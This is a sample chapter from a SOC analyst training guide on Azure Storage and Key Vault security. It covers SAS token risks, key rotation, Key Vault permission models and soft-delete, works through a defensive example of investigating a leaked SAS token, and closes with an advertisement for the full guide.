Shared Access Signatures are the control that most often surprises analysts coming from an AWS background, because there is no clean equivalent to revoke. A SAS token is a query string appended to a storage URL, cryptographically signed with a storage account key, that encodes what it grants — read, write, delete, list — over what resource — a single blob, a container, or the entire account — and until when, via a signed expiry (se) parameter. The danger scales with three variables: scope (account-level SAS tokens, signed with sp=rwdlacup or similarly broad permission strings, can affect every service in the account, not just one container), lifetime (a SAS generated with an expiry years in the future is functionally a permanent credential), and where it is signed from (an account SAS is validated purely against the account key and a set of encoded parameters — Azure does not track which SAS tokens have been issued, so there is no list to consult and no individual token to disable). If a SAS token leaks — committed to a public repo, logged in plaintext, or intercepted — your only clean remediation before its natural expiry is rotating the account key that signed it.

That last point is why access-key rotation is simultaneously your remediation tool and your biggest operational landmine. Every storage account has two keys, key1 and key2, specifically so you can rotate one while applications continue using the other, then rotate the second once everything has moved over. But rotating a key invalidates every account-level SAS token ever derived from it — not just the leaked one. If an application team generated dozens of long-lived SAS tokens off key1 for various internal integrations, and you rotate key1 in response to one leaked token, every one of those other integrations breaks simultaneously and silently, often surfacing as a wave of 403 AuthenticationFailed errors across unrelated services. This is why the mature pattern is to avoid account-key-derived SAS tokens for anything long-lived in the first place, favoring either User Delegation SAS tokens — signed with Azure AD credentials via a time-boxed key that Azure itself manages and that can be constrained by RBAC — or short-lived, narrowly scoped SAS tokens generated on demand, so that a leak or a rotation has a small, known blast radius instead of an unknown one.

Azure Key Vault protects the secrets, keys, and certificates that much of an Azure environment depends on, and it has its own permission model worth understanding precisely because two different models coexist and are easy to confuse during an investigation. The legacy model, Vault Access Policies, grants permissions directly on the vault object itself — a list of principals and the specific key, secret, or certificate operations each one may perform — and is managed inside the vault's own configuration, invisible to a broader Azure RBAC review. The newer model, Azure RBAC for Key Vault, instead uses standard Azure role assignments like Key Vault Secrets User or Key Vault Administrator, scoped at the vault, resource group, or subscription level, which means permissions show up in the same access reviews as every other Azure resource. A vault can only

use one model at a time, set via its `enableRbacAuthorization` property, and when you investigate unexpected Key Vault access, the first thing to confirm is which model is active — because if you only check RBAC role assignments on a vault that is still using access policies, you will conclude a principal has no access when it actually does.

Soft-delete and purge protection exist because a deleted secret, key, or certificate in Key Vault — or a deleted blob in Storage with the equivalent setting enabled — is not automatically gone, and that distinction is central to both incident response and insider-threat cases. Soft-delete retains the deleted object in a recoverable state for a configurable retention period, typically 7 to 90 days, during which it can be restored by a principal with recover permission. Purge protection goes further: it prevents even a Key Vault Administrator from permanently purging a soft-deleted object before the retention period naturally expires, closing the gap where a malicious or compromised privileged account deletes a secret and then immediately purges it to destroy any recovery path. For an analyst, this means a deletion event in the Key Vault audit log is not necessarily catastrophic on its own — check whether soft-delete and purge protection were enabled, because that determines whether the deleted object is still recoverable or whether the delete event is the last trace of something that is genuinely gone.

■ **Worked Example: Investigating a Leaked SAS Token Against acmefinance-docs**

You are an L1 analyst at a mid-size financial services firm when an alert fires from Microsoft Defender for Storage: 'Unusual access from an unfamiliar location' against a storage account named acmefinancedocsprod. You pull the storage diagnostic logs and filter on StorageRead operations over the past six hours. You see roughly 2,300 GetBlob requests against the customer-statements container, all authenticated via a SAS token rather than an Azure AD identity, originating from 185.220.101.47 — an IP that resolves to a known Tor exit node — starting at 03:14 UTC. Decoding the SAS query string in the request URL, you find sp=rl (read and list), sr=c (container-level scope, not a single blob), and an expiry (se) of 2027-01-01, more than a year out. Cross-referencing your change history, you find the SAS token was generated eight months earlier by a developer for a one-time data migration script and was accidentally committed to a since-deleted branch of a public GitHub repository, where it sat exposed for eleven days before the leak was caught by a separate secret-scanning alert your team had not yet connected to this incident. Because the SAS was signed with the account's key1, you cannot revoke it individually; you escalate immediately and rotate key1, which invalidates every account-level SAS token derived from it, then coordinate with the application team to confirm which of their integrations relied on the old key and needs to be reissued against key2. You document the container access pattern, the exfiltrated blob count (2,300 customer statement PDFs), the Tor exit IP, and the eleven-day exposure window, and hand the package to incident response for a breach-notification determination, while recommending the team move future migration scripts to short-lived user-delegation SAS tokens instead of account-key SAS.

✓ **KEY TAKEAWAYS (highlight these)**

- Container public access is set per-container, independent of the account-level AllowBlobPublicAccess toggle — check both.
- Account-level SAS tokens cannot be individually revoked; the only clean remediation before expiry is rotating the signing key.
- Rotating a storage account key invalidates every SAS token ever signed with that key, not just the one you are responding to.
- Key Vault can run on legacy Access Policies or Azure RBAC, never both — confirm which model is active before concluding a principal lacks access.
- Soft-delete and purge protection determine whether a deletion event in the audit log is recoverable or the last trace of something truly gone.

■ COMMON PITFALLS

- Concluding a storage account is safe because AllowBlobPublicAccess is disabled without checking individual container access levels.
 - Rotating a storage account key as an isolated fix without first mapping every integration that depends on SAS tokens signed by that key.
 - Reviewing only Azure RBAC role assignments on a Key Vault that is still configured to use legacy access policies.
-

LIKE WHAT YOU READ?

Get the Complete 253-Page Field Guide

56 chapters across five tracks — three SOC career levels plus dedicated AWS and Azure/Microsoft 365 Cloud Security tracks — every one built exactly like the sample chapters above.

- ✓ 14 Level 1 chapters — SOC fundamentals to common attacks
- ✓ 16 Level 2 chapters — advanced SIEM, threat hunting, containment, DFIR
- ✓ 14 Level 3 chapters — detection engineering, purple teaming, IR leadership
- ✓ 6 AWS Cloud Security chapters — IAM, storage, network, logging & incident response, threat hunting in the cloud
- ✓ 6 Azure & Microsoft 365 chapters — Entra ID, storage & Key Vault, networking, Sentinel & KQL, hybrid identity hunting
- ✓ Appendix A: Master Glossary of every highlighted key term
- ✓ Appendix B: Windows Event ID quick reference
- ✓ Appendix C: MITRE ATT&CK quick reference by tactic
- ✓ Appendix D: SOC analyst career roadmap checklist

AVAILABLE AT [SECTECHMASTER.COM](https://sectechmaster.com)